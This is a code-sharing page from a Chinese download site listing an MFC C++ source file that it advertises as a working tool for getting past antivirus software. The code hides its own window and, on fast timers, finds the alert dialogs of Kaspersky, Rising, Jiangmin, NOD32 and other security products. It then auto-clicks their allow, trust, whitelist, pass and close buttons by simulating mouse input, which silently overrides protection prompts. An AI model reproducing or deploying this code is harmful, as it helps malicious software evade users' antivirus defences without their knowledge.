⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 killsddlg.cpp

📁 点击过杀毒软件的一个代码 目前可以过
💻 CPP
字号:
  // KillSDDlg.cpp : implementation file
//

#include "stdafx.h"
#include "KillSD.h"
#include "KillSDDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


// -- 定时器

// -- 卡巴
#define WM_TIMER_AVP                              208
// -- 瑞星
#define WM_TIMER_RISING                           209
// -- 江民
#define WM_TIMER_JIANGM                           210
// -- NOD32
#define WM_TIMER_NOD32                            211


CKillSDDlg::CKillSDDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CKillSDDlg::IDD, pParent)
{
}

void CKillSDDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CKillSDDlg, CDialog)
	//{{AFX_MSG_MAP(CKillSDDlg)
	ON_WM_TIMER()
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()


BOOL CKillSDDlg::OnInitDialog()
{
	CDialog::OnInitDialog();
	SetTimer(205,100,0);
	SetTimer(201,100,0);
	SetTimer(203,100,0);
	SetTimer(206,100,0);
	SetTimer(207,100,0);
	SetTimer(202,300000,0);

	// note by zxl 
	SetTimer(WM_TIMER_AVP,100,0);
	SetTimer(WM_TIMER_RISING,100,0);
	SetTimer(WM_TIMER_JIANGM,100,0);
	SetTimer(WM_TIMER_NOD32,100,0);
	// note finish

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	
	return TRUE;  // return TRUE  unless you set the focus to a control
}
void CKillSDDlg::OnTimer(UINT nIDEvent) 
{
	if(nIDEvent==207)
	{
		CString findrs="瑞星主";
		findrs+="动防御";
		HWND ruixing=::FindWindow(NULL,findrs);
		if(ruixing==NULL)
		{
			return;
		}
		HWND ringxingc=::FindWindowEx(ruixing,NULL,NULL,"放过");
		if(ringxingc==NULL)
		{
			return;
		}
		RECT rect1;
		::GetWindowRect(ringxingc,&rect1);
		SetCursorPos(rect1.left+15,rect1.top+10);
		mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
		mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 
	}
	if(nIDEvent==206)
	{
		HWND hwnd1=::FindWindowEx(NULL,NULL,"#32770",NULL);	
		if(hwnd1!=NULL)
		{
			HWND hwndc1=::FindWindowEx(hwnd1,NULL,"ATL:020943B0",NULL);
			if(hwndc1!=NULL)
			{
				HWND hwndcc2=::FindWindowEx(hwndc1,NULL,NULL,"允许");
				if(hwndcc2!=NULL)
				{
					RECT rect;
					::GetWindowRect(hwndcc2,&rect);
					SetCursorPos(rect.left+5,rect.top+5);
					mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
					mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 
				}
			}
		}
	}
	if(nIDEvent==205)
	{
		HWND hdswnd=::FindWindow(NULL,"AllDo");
		if(hdswnd!=NULL)
		{
			::ShowWindow(hdswnd,SW_HIDE);
		}
		::ShowWindow(this->m_hWnd,SW_HIDE);
	}
	if(nIDEvent==203)
	{
		HWND hwnd=NULL;
		hwnd=::FindWindow("NotifyWnd",NULL);
		if(hwnd!=NULL)
		{
			RECT crect;
			::GetClientRect(hwnd,&crect);
			RECT rect;
			::GetWindowRect(hwnd,&rect);
			int scr_x=0;
			int scr_y=0;
			scr_x=GetSystemMetrics(SM_CXSCREEN);                  
			scr_y=GetSystemMetrics(SM_CYSCREEN);
			if(crect.right==238&&crect.bottom==317)
			{
				::SetCursorPos(rect.left+28,rect.top+266);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
				::SetCursorPos(rect.left+83,rect.top+301);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}									
			if(crect.right==244&&crect.bottom==298)
			{
				::SetCursorPos(rect.left+28,rect.top+242);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
				::SetCursorPos(rect.left+161,rect.top+274);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);	
			}
			if(crect.right==238&&crect.bottom==176)
			{
				::SetCursorPos(rect.left+28,rect.top+122);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
				::SetCursorPos(rect.left+83,rect.top+157);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
		}
	}
	if(nIDEvent==201)
	{
		HWND ffds=::FindWindowEx(NULL,NULL,"#32770",NULL);
		if(ffds!=NULL)
		{
			HWND hwffndc=::FindWindowEx(ffds,NULL,NULL,"总是允许");
			if(hwffndc!=NULL)
			{
				::SendMessage(hwffndc,WM_LBUTTONDOWN,NULL,NULL);
				::SendMessage(hwffndc,WM_LBUTTONUP,NULL,NULL);
				HWND ffdee=::FindWindowEx(ffds,NULL,NULL,"确定");
				::SendMessage(ffdee,WM_LBUTTONDOWN,NULL,NULL);
				::SendMessage(ffdee,WM_LBUTTONUP,NULL,NULL);				
			}
		}
		HWND hwndd=::FindWindowEx(NULL,NULL,"Afx:400000:0",NULL);
		{
			if(hwndd!=NULL)
			{
				HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"允许,并将其加入信任插件列表");
				if(hwnddd!=NULL)
				{
					//::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
					//::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
					HWND hwndok=::FindWindowEx(hwndd,NULL,NULL,"重启前对该项采用相同操作,不再进行提示");
					::SendMessage(hwndok,WM_LBUTTONDOWN,NULL,NULL);
					::SendMessage(hwndok,WM_LBUTTONUP,NULL,NULL);
					HWND hwnddc=::FindWindowEx(hwndd,NULL,NULL,"确定");
					::SendMessage(hwnddc,WM_LBUTTONDOWN,NULL,NULL);
					::SendMessage(hwnddc,WM_LBUTTONUP,NULL,NULL);
				}
			}
		}
	}

	// note by zxl 2008-01-24

	if( nIDEvent == WM_TIMER_AVP )
	{
		// -- 卡巴7.0 - 主动防御
		HWND hwndd=::FindWindowEx(NULL,NULL,"AVP.AlertDialog",NULL);
		{
			if(hwndd!=NULL)
			{
				HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"允许");
				if(hwnddd!=NULL)
				{
					RECT rect1;
					::GetWindowRect(hwnddd,&rect1);
					SetCursorPos(rect1.left+15,rect1.top+10);
					mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
					mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 
				}
			}
		}
	}

	if( nIDEvent == WM_TIMER_RISING )
	{
		/*
		// -- 瑞星2008 - 主动防御
		HWND hwndd=::FindWindowEx(NULL,NULL,"#32770",NULL);
		{
			if(hwndd!=NULL)
			{
				HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"信任改程序,自动加入白名单");
				if(hwnddd!=NULL)
				{
					::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
					::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
					HWND hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"重启计算机前,使用相同处理方式,不再重复提示。");
					if( NULL != hWndBtn )
					{
						::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
						::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
					}
					hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"放过");
					if( NULL != hWndBtn )
					{
						::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
						::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
					}
				}
			}
		}
		*/
		HWND hWnd = ::FindWindow( NULL, _T("恶意行为检测") );
		if( NULL != hWnd )
		{
			
			HWND hChild = ::FindWindowEx( hWnd, NULL, NULL, _T("放过文件") );
			if( NULL != hChild )
			{
				::SendMessage(hChild,WM_LBUTTONDOWN,NULL,NULL);
				::SendMessage(hChild,WM_LBUTTONUP,NULL,NULL);
				//RECT rect;
				//::GetWindowRect(hChild,&rect);
				//SetCursorPos(rect.left+15,rect.top+10);
				//mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
				//mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 

				::WritePrivateProfileString( "Check", "File", "1", "C:\\Check.ini" );
			}
			
			
			hChild = ::FindWindowEx( hWnd, NULL, NULL, _T("确 定") );
			if( NULL != hChild )
			{
				::SendMessage(hChild,WM_LBUTTONDOWN,NULL,NULL);
				::SendMessage(hChild,WM_LBUTTONUP,NULL,NULL);
				//RECT rect;
				//::GetWindowRect(hChild,&rect);
				//SetCursorPos(rect.left+15,rect.top+10);
				//mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
				//mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 

				::WritePrivateProfileString( "Check", "OK", "1", "C:\\Check.ini" );
			}

		}
	}

	if( nIDEvent == WM_TIMER_JIANGM )
	{
		// -- 江民2008 - 主动防御
		HWND hwndd=::FindWindowEx(NULL,NULL,"#32770",NULL);
		{
			if(hwndd!=NULL)
			{
				//HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"以后直接使用当前的操作");
				HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"江民主动防御之木马一扫光提示您");
				/*
				HWND hwneee=::FindWindowEx(hwndd,NULL,"ATL:02DC43B0",NULL);
				if(hwnddd!=NULL && hwneee!=NULL )
				{
					HWND hWndBtn = ::FindWindowEx(hwneee,NULL,NULL,"允许");
					if( NULL != hWndBtn )
					{
						//::SendMessage(hwneee,WM_LBUTTONDOWN,NULL,NULL);
						//::SendMessage(hwneee,WM_LBUTTONUP,NULL,NULL);
						RECT rect;
						::GetWindowRect(hwneee,&rect);
						SetCursorPos(rect.left+15,rect.top+10);
						mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
						mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 
					}
				}
				*/

				HWND hWndNext = hwnddd;
				
				while( NULL != hWndNext )
				{
					HWND hWndBtn = ::FindWindowEx(hWndNext,NULL,NULL,"允许");
					if( NULL != hWndBtn )
					{
						RECT rect;
						::GetWindowRect(hWndNext,&rect);
						SetCursorPos(rect.left+15,rect.top+10);
						mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); 
						mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 
					}
					hWndNext = ::GetNextWindow( hWndNext, GW_HWNDNEXT );
				}
				
			}
		}
	}

	if( nIDEvent == WM_TIMER_NOD32 )
	{
		// -- NOD32
		HWND hwndd=::FindWindowEx(NULL,NULL,"#32770","NOD32 反病毒系统警告: AMON - 文件系统实时监控");
		{
			if(hwndd!=NULL)
			{
				HWND hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"关闭");
				if( NULL != hWndBtn )
				{
					::SendMessage(hWndBtn,WM_LBUTTONDOWN,NULL,NULL);
					::SendMessage(hWndBtn,WM_LBUTTONUP,NULL,NULL);
				}
			}
		}
	}

	// note finish

	if(nIDEvent==202)
	{
		CDialog::OnOK();
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -